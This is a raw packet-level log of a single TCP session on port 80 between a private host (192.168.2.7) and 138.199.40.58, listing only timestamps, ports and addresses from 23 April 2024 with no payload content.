Apr 23, 2024 08:39:59.157527924 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.157548904 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.157574892 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.157601118 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.157613993 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.157618999 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.157632113 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.157632113 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.157651901 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.157675982 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.157685041 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.157708883 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.157793045 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.157814026 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.157845974 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.157865047 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.157866955 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.157885075 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.157911062 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.157926083 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.157937050 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.157948017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.157962084 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.157974005 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.157984018 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.158004999 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.158004999 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.158006907 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.158027887 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.158044100 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.158063889 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.158066034 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.158086061 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.158139944 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.158157110 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.158163071 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.158178091 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.158185005 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.158191919 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.158204079 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.158205032 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.158210039 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.158219099 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.158225060 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.158262014 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.158267975 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.158267975 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.158288002 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.158309937 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.158323050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.158343077 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.158384085 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.158405066 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.158467054 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.158489943 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.158556938 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.158673048 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.158793926 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.158956051 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159038067 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159051895 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159059048 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.159126043 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159132004 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.159157038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159190893 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159212112 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.159245968 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159264088 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.159276962 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159296989 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.159327984 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.159461975 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159475088 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159487963 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159499884 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159509897 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.159512043 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159523964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159535885 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159544945 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.159547091 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159559011 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159570932 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159575939 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.159575939 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.159583092 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159595013 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159598112 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.159609079 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159621000 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159631014 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.159631014 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.159635067 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159646988 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159658909 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159661055 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.159672976 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159687042 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159693956 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.159698963 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159710884 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159723043 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159729004 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.159737110 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159744024 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.159749985 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159754038 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.159763098 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159776926 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159781933 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.159801006 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159813881 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159821033 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.159821033 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.159838915 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159852982 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159861088 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.159876108 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159894943 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.159899950 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159912109 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159924984 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.159925938 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.159946918 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159967899 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.159972906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159985065 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.159992933 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.160024881 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.160024881 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.160053015 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.160064936 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.160078049 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.160090923 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.160115004 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.160116911 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.160130024 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.160139084 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.160149097 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.160178900 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.160192013 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.160200119 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.160207033 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.160250902 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.160267115 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.160274029 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.160309076 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.160309076 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.160320997 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.160336018 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.160358906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.160382986 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.160384893 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.160412073 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.160418034 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.160437107 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.160451889 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.160476923 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.160485983 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.160499096 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.160506964 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.160516024 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.160525084 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.160536051 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.160561085 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.160577059 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.160583973 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.160588980 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.160604954 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.160621881 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.160636902 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.160644054 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.160660028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.160680056 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.160680056 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.160682917 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.160700083 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.160706997 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.160733938 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.160741091 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.160757065 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.160789967 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.160803080 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.160810947 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.160821915 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.160839081 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.160856962 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.160864115 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.160876989 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.160883904 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.160914898 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.160914898 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.160944939 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.160979986 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.160993099 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.160999060 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.161012888 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.161053896 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.161078930 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.161103964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.161118984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.161132097 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.161151886 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.161154032 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.161168098 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.161204100 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.161215067 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.161231995 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.161256075 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.161278009 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.161295891 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.161304951 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.161307096 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.161329031 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.161334038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.161356926 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.161369085 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.161390066 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.161391973 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.161423922 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.161441088 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.161454916 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.161459923 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.161468983 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.161483049 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.161489010 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.161504030 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.161539078 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.161551952 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.161561966 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.161581993 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.161592960 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.161592960 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.161626101 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.161634922 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.161640882 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.161660910 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.161731005 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.161745071 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.161751986 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.161761045 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.161772013 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.161772966 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.161786079 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.161797047 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.161797047 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.161799908 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.161813021 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.161818981 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.161824942 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.161834955 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.161834955 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.161889076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.161901951 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.161910057 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.161914110 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.161920071 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.161958933 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.161973000 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.161983967 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.161984921 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.162004948 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.162054062 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.162066936 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.162074089 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.162117004 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.162117004 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.162138939 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.162153006 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.162173986 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.162178040 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.162193060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.162197113 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.162211895 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.162216902 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.162239075 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.162293911 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.162307024 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.162312984 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.162321091 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.162328005 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.162339926 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.162365913 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.162378073 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.162385941 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.162404060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.162417889 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.162424088 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.162442923 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.162446022 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.162467003 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.162487030 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.162508011 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.162530899 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.162549019 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.162560940 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.162579060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.162586927 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.162606001 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.162619114 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.162626982 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.162643909 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.162663937 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.162695885 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.162703991 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.162709951 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.162734032 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.162760019 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.162760019 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.162781000 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.162800074 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.162816048 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.162834883 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.162837982 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.162857056 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.162861109 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.162885904 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.162905931 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.162933111 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.162951946 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.162974119 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.163001060 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.163014889 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.163028955 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.163042068 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.163064957 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.163081884 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.163094997 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.163109064 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.163109064 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.163117886 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.163145065 CEST	49705	80	192.168.2.7	138.199.40.58
